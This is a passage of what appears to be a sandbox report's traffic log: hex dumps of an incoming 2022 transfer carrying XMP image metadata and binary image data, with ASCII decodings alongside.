e 64 69 64 3a 46 45 38 44 34 44 37 35 30 37 32 30 36 38 31 31 41 39 41 34 38 44 41 39 41 36 33 31 44 33 41 44 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 39 39 38 43 42 32 30 37 32 30 36 38 31 
31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 
Data Ascii: B1A4F7B5191E6CC3</rdf:li> <rdf:li>xmp.did:FE7F117407206811B840E1419896E1ED</rdf:li> <rdf:li>xmp.di
d:FE7F117407206811B9E79D364CEFA57E</rdf:li> <rdf:li>xmp.did:FE8D4D7507206811A9A48DA9A631D3AD</rdf:li> 
<rdf:li>xmp.did:FE998CB20720681192B0E90D048EA72C</rdf:l

2022-05-13 14:42:07 UTC 7484 IN Data Raw: 64 3a 63 61 39 38 36 62 39 61 2d 38 63 32 61 2d 32 38 34 33 2d 39 39 34 38 2d 61 66 39 33 34 66 34 33 36 
36 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 62 31 37 62 61 65 32 2d 30 
34 62 32 2d 36 31 34 39 2d 61 30 63 66 2d 32 64 63 65 66 38 63 32 34 62 37 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 62 32 65 36 39 39 37 2d 63 34 35 66 2d 34 63 32 34 2d 39 32 31 31 2d 65 36 
38 34 34 64 65 62 30 35 37 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 62 35 
30 36 35 33 64 2d 61 38 34 61 2d 34 38 65 66 2d 61 34 62 64 2d 65 37 36 62 66 38 33 34 61 62 38 65 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 62 39 32 34 
Data Ascii: d:ca986b9a-8c2a-2843-9948-af934f436670</rdf:li> <rdf:li>xmp.did:cb17bae2-04b2-6149-a0cf-2dcef8c24b
7c</rdf:li> <rdf:li>xmp.did:cb2e6997-c45f-4c24-9211-e6844deb057c</rdf:li> <rdf:li>xmp.did:cb50653d-a84a-48ef-a4bd-
e76bf834ab8e</rdf:li> <rdf:li>xmp.did:cb924

2022-05-13 14:42:07 UTC 7500 IN Data Raw: 69 64 3a 66 64 36 61 38 62 37 36 2d 35 36 34 33 2d 34 66 39 37 2d 39 61 33 66 2d 33 31 34 66 65 32 32 38 
66 39 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 64 39 66 39 66 63 63 2d 
64 61 35 66 2d 37 35 34 66 2d 38 39 66 38 2d 32 35 35 31 62 35 34 37 36 30 66 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 64 63 31 34 39 63 61 2d 31 36 31 39 2d 34 35 34 32 2d 38 31 64 39 2d 62 
39 62 37 64 66 33 65 36 30 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 64 
64 36 33 33 65 64 2d 35 39 37 34 2d 36 34 34 38 2d 62 65 62 36 2d 33 35 33 34 39 30 32 64 35 33 31 63 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 65 33 36 
Data Ascii: id:fd6a8b76-5643-4f97-9a3f-314fe228f915</rdf:li> <rdf:li>xmp.did:fd9f9fcc-da5f-754f-89f8-2551b54760f1</rdf:l
i> <rdf:li>xmp.did:fdc149ca-1619-4542-81d9-b9b7df3e6076</rdf:li> <rdf:li>xmp.did:fdd633ed-5974-6448-beb6-35349
02d531c</rdf:li> <rdf:li>xmp.did:fe36

2022-05-13 14:42:07 UTC 7507 IN Data Raw: dc 6b b2 ae 4e 1b e8 03 ba c6 de da d4 ca 45 1c 85 4e 94 34 09 c1 a0 b9 3b e3 d4 56 5b 61 9b ee 94 67 bb 
8b d6 a8 c5 b1 07 03 b2 80 22 62 03 5b 51 22 82 44 8d 2f ad a8 02 d9 b3 d0 a0 55 1a 8a 95 42 de 45 06 64 92 33 9b 93 
c6 b7 4a 0e 56 e4 ae d5 44 0d 6a 00 56 a0 04 45 00 36 da 00 54 00 e4 50 03 5a 80 1e d4 0c 54 00 d6 a0 42 a0 05 40 0a 
d4 00 d6 a0 42 b5 30 15 a8 01 5a 81 8f 48 06 a0 05 4c 05 40 0a 80 15 a8 01 50 21 50 02 a0 05 ef a0 06 b5 00 2b 50 03 
d2 18 d4 c4 31 14 00 a8 01 5a 80 15 a8 10 ad 40 0f 6a 00 56 a0 62 b5 21 88 8a 62 1a 80 1c 0a 00 54 00 bb 69 0c 7a 00 
56 a0 04 28 01 ed 40 0a 80 15 00 2a 00 54 00 a8 01 e8 01 a8 18 f4 00 a8 10 d4 0c 7a 00 6a 00 7a 40 2a 60 35 a8 10 d6 
a0 04 05 00 3d 00 3d 03 10 14 00 ad 48 07 34 00 f6 a0 05 6a 00 56 a0 07 b5 
Data Ascii: kNEN4;V[ag"b[Q"D/UBEd3JVDjVE6TPZTB@B0ZHL@P!P+P1Z@jVb!bTizV(@*Tzjz@*`5==H4jV

2022-05-13 14:42:07 UTC 7523 IN Data Raw: 69 36 34 8d 14 c6 44 4d ae 2e 78 de b1 76 3a 15 52 45 98 b0 c6 0e d2 2a 6c ca aa 46 c6 3c 51 a1 04 28 0d 5c 
ed b3 a6 a9 07 e4 f5 2f a7 8b 4a ce b4 96 69 6b c2 39 cc 8c c6 9a f2 57 5d 6b 07 25 ad 20 41 cb 9d 78 8a d4 c6 64 28 46 
ac c0 1e 16 ac e4 d2 24 d1 c4 e9 2c ae a4 00 54 ea 4f 6d 63 6c 86 d5 c7 0c 2b 37 a4 48 cd ba 31 a5 b8 54 57 21 a5 b1 8f 
d2 cc b8 e6 c5 4e 94 5e 18 53 43 55 7a b1 76 da 17 5a c7 61 b6 f3 5b 1b 24 5a cd 58 b4 6a 98 6a 4a 0f 0a 82 89 79 9a 
d0 32 d5 b1 a0 06 6c 60 46 94 48 41 01 06 ca 00 8b 0a 62 18 1b 70 a0 09 a8 b9 a4 32 cb 5a 80 17 0a 00 ae 67 d2 80 02 
79 75 aa 24 92 4b 7a 00 21 75 a9 28 b0 5c 50 04 64 63 6a 00 a5 dc 8a 62 28 69 35 a6 49 64 2f 73 40 d1 a3 1c bd 95 05 0
4 2d 8e b4 0c 76 51 c6 80 01 ca 88 b0 21 69 a6 26 72 29 87 21 c9 
Data Ascii: i64DM.xv:RE*lF<Q(\/Jik9W]k% Axd(F$,TOmcl+7H1TW!N^SCUzvZa[$ZXjjJy2l`FHAbp2Zgyu$Kz!u(\Pdcj
b(i5Id/s@-vQ!i&r)!

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 7539 IN Data Raw: 0d f4 14 d3 10 14 bd 3d 24 53 14 83 43 56 ad 04 3a c9 ce e6 fa 6d a2 6e 4b 95 ae 9a e5 39 6d 84 0e 5c 79 62 
42 81 49 1e da b5 64 c9 75 68 a6 38 ee 0a 3d 53 64 24 29 21 8d 3c 56 34 26 d8 34 90 c3 19 df 9e 22 5b db 46 ef 78 6d 
9e 03 e4 e0 4c bf 99 6b 50 ae 82 d4 60 65 48 d0 f6 56 86 44 e1 4e 6b 76 52 6c a4 8d ce 82 44 52 5c 70 35 cd 93 53 ab 
1e 87 ff d5 ed ad 5e c9 e1 0a d4 00 ad 40 0d 6a 00 54 00 ad 40 0f 6a 00 56 a0 05 6a 00 56 a0 05 40 0a 80 1e d4 00 d6 a
0 07 b5 00 2b 50 02 14 80 7b 50 31 ad 40 0a d4 08 7a 06 2a 00 54 00 f4 00 ad 40 0a 81 8a 80 1e 80 15 20 1a 98 0a 80 
11 a4 02 a6 21 50 03 50 03 d0 31 52 01 53 01 50 02 a4 02 a0 07 a0 05 40 0a 80 15 03 15 02 15 00 2a 00 7a 00 57 a0 62 
bd 00 38 34 80 57 a0 05 7a 00 7b d0 02 bd 00 3d e8 18 b7 50 03 de 90 0b 
Data Ascii: =$SCV:mnK9m\ybBIduh8=Sd$)!<V4&4"[FxmLkP`eHVDNkvRlDR\p5S^@jT@jVjV@+P{P1@z*T@ !P
P1RSP@*zWb84Wz{=P

2022-05-13 14:42:07 UTC 7547 IN Data Raw: 2a 06 2a 00 54 00 a8 01 50 02 a0 05 40 0a 80 15 02 15 00 35 03 15 02 15 30 1a 80 15 03 1e 80 1a 90 0a 81 
0a 80 15 03 1e 80 1a 80 11 a0 06 a6 02 a0 05 40 08 50 02 a0 05 40 0a 81 0a 81 8a 80 15 00 2b 50 02 14 80 54 00 d4 c4 
2a 00 54 0c 6a 00 54 00 a8 01 50 21 50 03 50 03 d0 03 50 03 d0 02 a0 06 b5 03 15 00 7f ff d5 f4 4a f4 8f 20 54 00 ad 40 
0a 80 15 00 2a 00 54 00 a8 01 50 02 a0 05 40 0f 6a 00 6a 00 71 40 0a 80 15 00 2a 00 6a 00 7a 00 54 00 ad 40 0e 50 d0 
38 1b 6d 02 15 00 2a 00 63 40 0a 80 1e 80 15 00 2a 06 2a 00 b6 3c 59 65 17 45 24 0f 75 4b b2 45 2a 36 74 78 5e 90 57 
88 34 ce 43 1e c1 d9 5c b6 cf ee 3b 2b e9 d4 6a 34 9e 8e 24 9d 8f 61 d9 71 42 ce 27 e9 ca e1 f4 5c ed 7f 31 c2 8a 6f 38 
97 a7 f7 9a 98 9e 92 c5 88 7e 60 2e 7d e6 b2 79 9b 36 ae 14 8b db d2 
Data Ascii: **TP@50@P@+PT*TjTP!PPPJ T@*TP@jjq@*jzT@P8m*c@**<YeE$uKE*6tx^W4C\;+j4$aqB'\1o8~`.}y6

2022-05-13 14:42:07 UTC 7563 IN Data Raw: 80 c6 01 5b 6d 61 fa 45 09 c9 26 73 e4 45 0b 18 a3 05 9b e5 d6 ff 00 65 6b 02 35 70 fa 66 76 40 04 46 d1 a7 
b5 ce db fe ba c2 d9 2a 8b 48 3e 2f 4e 94 37 9e 63 6f 81 05 97 f6 9b 5a c1 e7 f7 20 66 0b 74 c7 39 5b a2 c4 94 c3 60 00 
26 c7 ef 6e ae 9f 31 6d d5 90 76 51 46 02 8d 4a 90 38 7b 2b cc 6c 65 69 81 04 6f e6 a2 28 93 e2 b6 b4 dd db d0 65 a1 58 
9a 91 0e 54 fd 94 0c 62 1c 1e 26 d4 e4 64 c1 36 d4 50 31 c3 85 e2 29 00 cd 25 f8 9b 7d b4 c0 62 17 80 d6 80 24 13 b3 
4a 06 33 5d 7f 4d 00 7f ff d3 e0 52 4d 41 00 80 35 fd 35 ef 9f 3c 11 92 aa c9 a7 13 c6 a5 0d 95 e2 46 59 03 8b ed 5b de 
dc 69 b6 15 1d 9f cc 3c 00 03 b2 82 82 31 e6 18 ff 00 c3 3a de f5 16 52 0b 43 a1 c5 eb cf 32 8d c4 31 1c 6f c6 b9 5e 38 
3a ab 90 2c 67 97 00 9b 0a 9d 85 6f 0b 6f 52 e4 10 00 b0 00 
Data Ascii: [maE&sEek5pfv@F*H>/N7coZ ft9[`&n1mvQFJ8{+leio(eXTb&d6P1)%}b$J3]MRMA55<FY[i<1:RC21o^8:,gooR

2022-05-13 14:42:07 UTC 7579 IN Data Raw: a3 23 e1 24 7f 74 d3 c5 ea eb 4e c9 2e b7 da 62 e4 7f 4e 62 c8 70 f2 4c c0 fb 07 6f db 5d 7f fe 45 f6 24 3f 30 
68 bf a7 18 31 31 df 34 9b 4f 10 1a c0 fb 8d aa 5f fc 8d bd d5 0d e6 ea fa 63 a7 6d 50 03 00 a2 c0 06 d0 57 05 bd 55 9b 
97 01 b8 9c de 90 e9 b9 36 69 50 b1 5d 2e 58 d4 7f 97 75 da 29 34 31 3a 3c 78 c4 18 2c 00 d2 c4 df fd f5 cc fd 5b 40 ac 
d1 79 c2 2c db da c4 8e 1c 3f e5 4b fc e6 56 f6 10 8f 91 1d b6 91 a1 b8 d0 71 fd 54 7f 9e ca 59 6c 50 64 94 3b 38 20 33 f7 
8d b5 3f 6d 53 f5 8f de 27 76 51 2c 2d 23 07 90 df fd f5 0f d4 49 9b d4 7d 50 6d 52 40 f6 5b 4a e7 b5 b7 6a 20 5c 99 23 8b 
59 1f 68 3a eb a0 ae 8a 5d be 00 50 32 b0 db 4f 34 1b fb c7 1a b9 b9 21 29 0c 6d aa b5 ab 37 96 c3 0b 8b 1d 2d a9 bd 63 
6f 51 60 82 7e 4c 63 89 35 9f f9 16 1c 13 02 25 
Data Ascii: #$tN.bNbpLo]E$?0h114O_cmPWU6iP].Xu)41:<x,[@y,?KVqTYlPd;8 3?mS'vQ,-#I}PmR@[Jj \#Yh:]P2O4!)m7-
coQ`~Lc5%

2022-05-13 14:42:07 UTC 7586 IN Data Raw: b7 05 22 d4 91 2c b5 22 94 9b d8 11 ed e1 4f 6b 11 30 9b 8d ac 2f d9 a7 fc 6a 92 11 17 c4 93 88 5e 51 c4 d0 
ea c0 ac c6 50 d8 80 7d f5 11 02 19 89 36 b8 d2 81 0c 36 db 80 fb 69 a0 2a 2e 07 02 2d 4c 63 06 5b 59 8d 20 1d 5c 71 
e2 29 48 12 b2 9d 57 4d 3b 2a 80 81 04 70 35 22 1c cc 47 6e 9e da 72 21 d6 63 d8 6c 2a 80 b5 27 24 58 f1 14 04 93 f3 
06 8a 7b 69 0c 72 8a dc 38 54 c0 c4 22 61 c0 fe ba 49 31 90 67 60 75 d6 da d5 6a 29 18 1b 9d c7 8f db 40 8b 16 f6 be b4 
d0 c7 0c c4 5c d8 8f ed a6 02 2c 35 36 06 a8 08 16 df a0 1c 29 0c 41 48 d7 85 10 32 40 05 1d ba d1 00 5a b2 58 8b 5e ad 
56 40 72 e9 2e 8f af 66 a6 d5 5b 06 20 00 b0 ec fd 75 5b 00 8b 01 6b dc 11 fa a9 6c 02 91 16 c6 2e 48 b9 d3 f4 55 6d 60 
57 23 ec 37 0c 3d e6 b5 ae 39 25 95 1c 90 ba 96 bf e8 ab f2 c9 
Data Ascii: ","Ok0/j^QP}66i*.-Lc[Y \q)HWM;*p5"Gnr!cl*'$X{ir8T"aI1g`uj)@\,56)AH2@ZX^V@r.f[ u[kl.HUm`W#7=9%

2022-05-13 14:42:07 UTC 7602 IN Data Raw: 67 2c b7 95 86 d8 c4 7b 8e 96 17 1d 97 ab 78 e3 4f b4 01 f0 98 e4 2b 0c c5 5f 2d dc aa 8b df 42 3b 7f 15 5d f9 
5f 2f b8 94 17 1e 1c 38 a8 42 80 a8 bf a0 7e 1a c9 dd d9 95 05 4f 87 14 44 e5 b0 da 55 75 b9 3a 58 69 f2 d5 ab b7 ca 22 
53 45 f5 b8 aa 24 63 b6 45 06 e0 83 7f d3 ee a5 57 b2 da 76 01 66 12 94 0b 0a ca 58 0b 0d 40 d2 a6 ee 75 81 15 34 a8 
c8 c0 11 75 70 a4 9f 7b 05 aa 86 9f f2 10 d3 ce b1 c8 88 4f 7d ad 61 45 6b 29 8c 21 9e 42 41 29 65 d6 da ea 7f fc 2a 12 
43 04 79 26 f3 83 a2 9d 9b 42 92 a4 5c 71 63 f7 bc 35 aa 4a 21 8c ba db 8d c9 6b a5 8d ad c0 9f f8 da a0 45 65 12 49 18 
a8 26 45 1a 93 a1 e1 57 b9 a5 1d d1 16 43 0b 46 db ac 1c d8 02 48 d6 c3 87 ea a8 76 9f b0 20 6f a3 95 54 a3 30 7e 6d 
c2 c2 c2 fd b7 1d bc 69 ef 40 d1 40 c2 58 ae fa 16 bd c0 ec 
Data Ascii: g,{xO+_-B;]_/8B~ODUu:Xi"SE$cEWvfX@u4up{O}aEk)!BA)e*Cy&B\qc5J!kEeI&EWCFHv oT0~mi@@X

2022-05-13 14:42:07 UTC 7618 IN Data Raw: 02 25 3c 38 5b 5a 4e 3b 02 58 c3 4d 0b 6d 1c 6e 4d 02 91 dc ee d6 36 1e e3 c6 f4 2d 38 95 23 23 07 4b 70 61 
c7 b6 9b 50 c7 b8 aa 48 0b 12 c2 db 9b df 54 ac 65 64 0d 2c a9 01 08 e7 69 66 03 97 da 6b 44 9d b8 19 89 33 10 ca f1 
eb 78 da d6 3c 2d e1 fb 68 74 70 9f bc 69 95 67 49 93 3c a2 2c 46 50 61 70 64 04 90 2f 6e ee 9d ea ba 2a d5 4d bb cb 94 
6d b0 f8 4b 95 06 64 b3 7b 2f a5 60 e3 b0 d5 36 51 85 9d e6 cd 34 6c 54 ec 70 a2 de cb 55 de 90 93 f7 a2 55 8c 0e b1 8b 
8d d4 32 c4 2d 3b 89 e2 bd b9 bb bf 75 7b 6b bf 0d ed 8e b3 1c b6 fb 08 6d 9d 0c 38 e5 54 07 e6 b7 8a d6 bf e8 af 3e d6 
36 55 2e 78 4b 6a 0b 2f e8 15 09 94 d1 9a 30 24 57 91 c4 8c c5 c8 24 03 6e 02 cb 5d 3e 62 84 a3 81 96 d8 2a cd e8 b3 cf 
71 ba 45 ba 85 d4 86 d0 6b db ed aa a6 75 5f 71 2d 02 f4 7e 
Data Ascii: %<8[ZN;XMmnM6-8##KpaPHTed,ifkD3x<-htpigI<,FPapd/n*MmKd{/`6Q4lTpUU2-;u{km8T>6U.xKj/0$W$n]
>b*qEku_q-~

2022-05-13 14:42:07 UTC 7626 IN Data Raw: 62 c7 78 00 0c 41 03 d8 3f 0d 72 d6 67 51 99 18 98 f9 f1 42 c9 99 22 3a ea 4b 29 b1 b5 be 0a eb bd a8 dc d5 
34 0e 0a e3 f4 f7 9c 7e a7 1a 56 88 31 b6 ba dc 0f f3 d5 3f 53 1c b6 5b 84 8d fc 29 41 80 5f 94 91 c2 b8 2e b5 2e 41 a6 c7 
70 59 95 82 b6 84 93 ad af 5a 2b 21 30 0c 3e 8f 26 42 94 79 fc d0 fb 99 ae 38 8f b7 e5 ae 8b e6 55 e0 b6 82 72 3e 6f 4b 
c2 45 f3 9e 56 36 b2 1b 1b 8f b8 05 2a 65 bb d2 3e d1 b6 13 06 1c 0b 17 93 13 ef 8a c6 e2 fa db fc 35 9d ae db 96 b5 1a 
2d 9b 18 e3 c4 17 10 aa 11 a8 66 b9 d0 54 2b 6e 7c c2 60 4b d3 3a 9a 4f 24 9e 70 92 09 48 24 1b 8b 69 ae d3 e1 ad de 
5c 6e a9 44 5a a0 4e 4c 91 16 57 d3 47 ce de 58 22 e7 b4 fc 43 ec a9 55 9a ee 7e f2 42 e3 4c 82 02 4b 62 dd 96 16 d2 f5 
93 75 ec 18 e2 63 b4 b5 94 2a dc 16 26 d6 b1 b5 1b 75 1c 
Data Ascii: bxA?rgQB":K)4~V1?S[)A_..ApYZ+!0>&By8Ur>oKEV6*e>5-fT+n|`K:O$pH$i\nDZNLWGX"CU~BLKbuc*&u

2022-05-13 14:42:07 UTC 7642 IN Data Raw: c5 d1 20 9e 58 a5 cf 91 4e 4a dc ab 27 29 70 0f c2 d5 c8 f3 da a9 aa 2e 4f 8b ba 23 47 17 1f ce 55 c8 46 dd 19 
5d 49 6b 91 f6 13 bb 75 73 de db 74 7c 4b 46 f2 4e 31 b1 3c 98 46 e2 e6 fc 78 db bb a9 ec a8 77 e5 8f 17 51 d3 ba 14 1c 
c7 4b 87 ab 7d 64 92 ca a1 61 b9 b5 99 77 13 6e c5 e6 ad f2 db 16 d4 97 57 f3 da 73 e8 6a 64 45 0e 4c 8a 25 8d 4c b6 
b8 04 6b 71 af 67 f8 6b 96 ad d5 68 f9 4c c1 24 0a 19 da 62 25 6d fc d6 d0 ae 97 54 1f 2d 6c b8 28 e5 d3 ef 0c b0 c1 8e 
19 65 3b 1d 8d 82 dc 5e d6 f6 13 ec a9 dd 6e 1a 8e 02 d2 18 c7 98 57 93 6e 9a 68 0f de f6 ad 64 db d0 10 28 fc 9c b2 c8 
db 81 03 7a a8 e3 6e eb a1 f0 ec f8 7c 5f 0d 6b d5 5f ca 29 2b c3 ea 18 9d 40 ee 98 23 3c 72 35 99 88 d0 a9 b5 d3 fc d4 
ef 8e d8 f8 4f 32 5f 88 a9 02 83 ad 83 9f 2c 73 dc ac ad 
Data Ascii:  XNJ')p.O#GUF]Ikust|KFN1<FxwQK}dawnWsjdEL%LkqgkhL$b%mT-l(e;^nWnhd(zn|_k_)+@#<r5O2_,s

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 7658 IN Data Raw: b3 e5 05 13 48 4a c4 d1 b1 5b 0b 73 2b f1 e5 ae 99 4b 4a f4 d7 af 71 52 8f ff d2 e0 65 f4 d7 56 62 af e6 2b 20 
3b 95 ae 6f fb 1e fa f8 b5 ea 71 70 83 cf 84 69 c5 0e 7c 00 6f 91 05 95 6e 0d fd b5 ca ed 4b 70 4c 69 11 cc 5e a5 3a f3 ba 
5a f7 00 02 2f 6e 1f aa aa 9e 5d 78 26 54 05 4d 3b e4 aa c5 99 ba 42 c0 0b 46 2c b7 f9 bb 6b 2a d5 57 5a f2 fc dd 41 0c 
bd 3a 06 22 8f 39 e2 bb 8d 4d c9 3d ba 36 da cd fa 8b 70 4c 52 5a 53 0a 76 11 b7 23 a6 80 5f 40 0f ee d4 cd ea a4 44 32 
3a 66 36 64 7f 42 cb f9 36 0c 75 ed 3e fa 75 cb 6a 3d dd e2 93 80 1c 7c 1e 99 d3 41 50 ed 33 37 2e d2 74 1f 65 6f 6c 99 
32 7c 25 49 a1 1f 4d c4 d6 79 51 12 e2 e4 71 01 45 60 f2 db 82 92 24 6f 2a 1c 74 df 8b 1a ef 94 68 0e a5 80 a2 5d 9c 59 
f4 88 b1 31 83 8f cc 8c 58 db 94 f6 54 bb 47 06 5a 
Data Ascii: HJ[s+KJqReVb+ ;oqpi|onKpLi^:Z/n]x&TM;BF,k*WZA:"9M=6pLRZSv#_@D2:f6dB6u>uj=|AP37.teol2|%IM
yQqE`$o*th]Y1XTGZ

2022-05-13 14:42:07 UTC 7666 IN Data Raw: 07 85 9a dd ef f3 54 aa bb 38 48 52 0e 9e a1 82 42 62 89 4c 8d 6d 02 dc 93 71 a6 83 b7 75 68 fd 3d 96 af 94 
12 1f a2 48 bd 47 13 6d f4 ee b5 ce b7 e2 d7 61 dd a5 9d 79 76 1b d0 9f 4c 7c 6d 9e 4c 2c c0 46 6d 66 24 fb f4 f6 d2 ca 
ad 32 fb c1 25 4f d4 0b cc 32 21 61 e4 06 d8 41 b8 0d d8 9b 1b e6 6e f5 52 c7 0a 1f 57 50 07 bc c8 48 89 18 6e 65 de 56 
da 5b ef 1a c1 57 b4 7c 4c cc 9e 93 8f 24 2f f4 71 af 9a 6e 41 23 94 30 ed 7b f2 d7 4d 72 d9 35 b9 f2 fe 2f a4 19 8d d2 7a 
0f 54 e9 b3 3e 5b 4a b3 63 0b 9b 45 ab 12 de 1b 37 76 bb 32 fa 8c 79 16 d8 db 7f 8f a4 90 ae 9f d6 8f 9e 7a 6e 5a 36 3b 
4c 58 dc e8 48 f6 a6 ea cf 26 1d 37 d5 ef d9 05 d4 e8 c4 40 46 11 50 3a 58 2d 98 df 41 ed dd de 6a f3 67 5e 21 60 7c 8e 
a7 12 93 8f 23 22 b1 52 e4 36 84 02 6c 3e ea 6d ee d6 
Data Ascii: T8HRBbLmquh=HGmayvL|mL,Fmf$2%O2!aAnRWPHneV[W|L$/qnA#0{Mr5/zT>[JcE7v2yznZ6;LXH&7@FP:X-
Ajg^!`|#"R6l>m

2022-05-13 14:42:07 UTC 7682 IN Data Raw: d2 1b 83 c6 46 f6 31 08 9e 2d a7 46 24 11 6f 7d af 58 6d 8d 65 58 bd c4 95 15 54 16 90 94 3d ac 46 bf f4 d2 
99 ec 29 58 99 05 6c ab db ec a9 0b 39 29 8e 33 29 3b e3 1b 90 d8 6a 1a df ab bb 56 dc 76 90 40 f4 f8 84 c7 20 44 82 73 
c5 ed 66 3f 6b 55 79 8e 22 5e df 08 16 34 0f aa 91 1e de 06 c7 fc b6 a9 56 5f 10 99 99 9b d1 d3 31 82 c8 ac 18 02 2e b6 
e0 7e f6 ed 7e 6e f5 74 d3 33 a7 02 50 56 36 27 d3 28 89 0b 32 8e 01 bb 3f 4d af 59 5a fb 9c b2 cb af da e0 92 3b 01 d2 
f5 1f c0 06 19 0a aa 40 0f 61 a9 d2 ff 00 ab b6 8d bf c0 64 e4 3e 50 f3 2c 40 b8 07 68 d7 fd 96 92 d7 40 2b 58 d6 4b 3a ee 
61 6e de 3a ff 00 6d 53 6d 08 9c 98 25 c5 bc c6 00 f6 1b 58 54 ab c7 60 30 47 e9 d8 52 39 0f 1a c8 e4 73 10 b7 e1 f1 11 
5b 2c 97 4b 8c 08 1b aa 74 dc 25 c7 f2 dd cc 31 27 30 
Data Ascii: F1-F$o}XmeXT=F)Xl9)3);jVv@ Dsf?kUy"^4V_1.~~nt3PV6'(2?MYZ;@ad>P,@h@+XK:an:mSm%XT`0GR9s[,K
t%1'0

2022-05-13 14:42:07 UTC 7698 IN Data Raw: 28 d4 10 39 45 bf b0 55 79 96 b7 8a c0 5c aa b7 f2 58 a9 24 77 49 bd c7 d9 51 f6 8b 43 34 e3 e1 42 4e 34 31 
c4 92 31 ee 80 3b 35 6b fd b5 d3 ba ef 99 bb 10 d9 7e 36 36 24 2a 62 48 e3 54 b5 f6 5e fa 7b 92 b3 b5 ac f5 6d ff 00 10 
92 d4 87 1a 31 74 55 0b 7e 28 bf ef da 2a 5d ac f8 fe 21 40 23 f4 fe 9f 30 67 5c 71 21 d7 77 29 1f 6d f8 6e ad 56 4b d7 49 
8f e6 29 05 e9 9d 0b a5 2c 82 6c 6c 5f 29 f5 37 6b 82 bf f2 ad 72 e7 c9 11 6b 6e 1a 72 5f 2f a7 71 5f 20 64 c6 cc b2 86 24 
15 ec 1d ab 7e da 85 ea 6c ab b5 f4 80 40 e8 aa 5c ba b3 ab 5e fa 37 13 f6 30 6d bf 86 b3 f3 f4 8f fd 01 22 cc 8c 41 20 2b 
b3 7b 1f 8d 89 17 1f ef a9 ad e3 b6 3e 54 10 0d 36 1a 3e cf ab 62 8b 7d a4 23 10 ba 8b 9d ab f3 56 95 bb 53 b7 5f 98 50 
5d 83 2c 58 e8 b2 46 ce 50 90 2c d6 b8 24 fe 8e 
Data Ascii: (9EUy\X$wIQC4BN411;5k~66$*bHT^{m1tU~(*]!@#0g\q!w)mnVKI),ll_)7krknr_/q_ d$~l@\^70m"A +{>T
6>b}#VS_P],XFP,$

2022-05-13 14:42:07 UTC 7706 IN Data Raw: 63 b8 dd e6 5e e7 5e cb 0e 15 0f 15 56 ad f3 2e e9 ad 57 68 7a e3 06 4b 39 60 58 85 da 0d ad db c4 78 ab 9d 
db 5d 05 7b fb 8c ce a7 d1 61 cd 0e ab 2b c3 2d f9 9c 6a 4d c7 0b b7 60 f9 2b a7 16 77 48 d1 5a be 13 9c c8 e8 be 83 38 
7b 96 5c 82 f1 31 b8 1a 82 a7 e2 bf c5 5d 79 fd 7e fe 0b 98 5b a0 d1 9f d3 18 6d 0a e2 6e 2c 57 c4 4d bf bb 5c f5 f5 57 4f 
71 4a de f0 16 f4 76 24 6e d2 66 48 44 40 81 b4 1b ed 03 82 ad fd a7 bd b2 b7 ff 00 32 cd 45 57 31 72 bb 0d 7c 7c 9c 78 
f2 47 4e 8d 19 08 42 41 b0 02 c4 f1 3f 37 de ae 4b 56 ce bb db 90 de 4a 78 a1 9f 24 e2 99 18 4a ea 1a d7 d3 f5 52 ab 75 
ae e8 e5 44 4e a5 a8 cd 88 8b 1b ce a8 9c 14 91 db f7 9a a1 ad ee 62 46 cb 4c 17 8e f2 15 2a 7b 5b ed ff 00 8d 4e ed 74 
11 5c 98 51 c4 5d 62 01 46 9b ac 09 24 f1 50 3e 2a a5 
Data Ascii: c^^V.WhzK9`Xx]{a+-jM`+wHZ8{\1]y~[mn,WM\WOqJv$nfHD@2EW1r||xGNBA?7KVJx$JRuDNbFL*{[Nt\Q]bF$
P>*

2022-05-13 14:42:07 UTC 7722 IN Data Raw: 24 5b 4f d3 5c fb f6 a9 4c 6c a3 2f a4 21 42 59 74 e1 65 00 9f d4 df 0d 5d 33 39 25 41 4c 5d 3a 1c 80 af bb cc 
41 a5 8a f3 69 e1 d6 ad e4 75 f8 7f 28 70 21 3f 50 99 72 1b 1b 1a 21 06 3a 5b 74 d2 0e 5f 6e d5 db 55 5c 69 d7 75 9e fb 
78 2b d4 43 aa 0f 8f a9 41 39 be 2c a1 d8 9e 6d a2 c3 fb 6b 07 89 d7 a9 41 b5 09 3a 6e 27 8d cf d9 fe ea 94 e0 d0 83 60 
47 25 f7 ee 26 d6 24 0e cf 65 bd 95 4b 23 5c 09 d0 8e 3f 49 c6 0c 52 2f cb 27 8e c5 00 db de c2 9d b3 5b 8b e6 f9 8c ed 
64 8a b3 3a 27 4b 58 cb 4e 81 c0 70 c7 db b8 f2 ee aa a6 7c 8d e9 a6 9f 84 cb 7c 90 ea 5e 97 c5 cd 88 a9 ba c6 35 21 0f 
fb 0f c5 55 8f d5 5a 8f ed fb 47 32 47 a3 f4 18 fa 6c 66 38 05 83 1b b3 31 b0 03 df 4f 37 a8 79 1c b2 b6 85 34 9b 1f 6b 2b 
1d a3 4d a6 e0 fb eb 28 94 28 2c 0d b9 49 0a 0b 9e 
Data Ascii: $[O\Ll/!BYte]39%AL]:Aiu(p!?Pr!:[t_nU\iux+CA9,mkA:n'`G%&$eK#\?IR/'[d:'KXNp||^5!UZG2Glf81O7y4k+M((,I

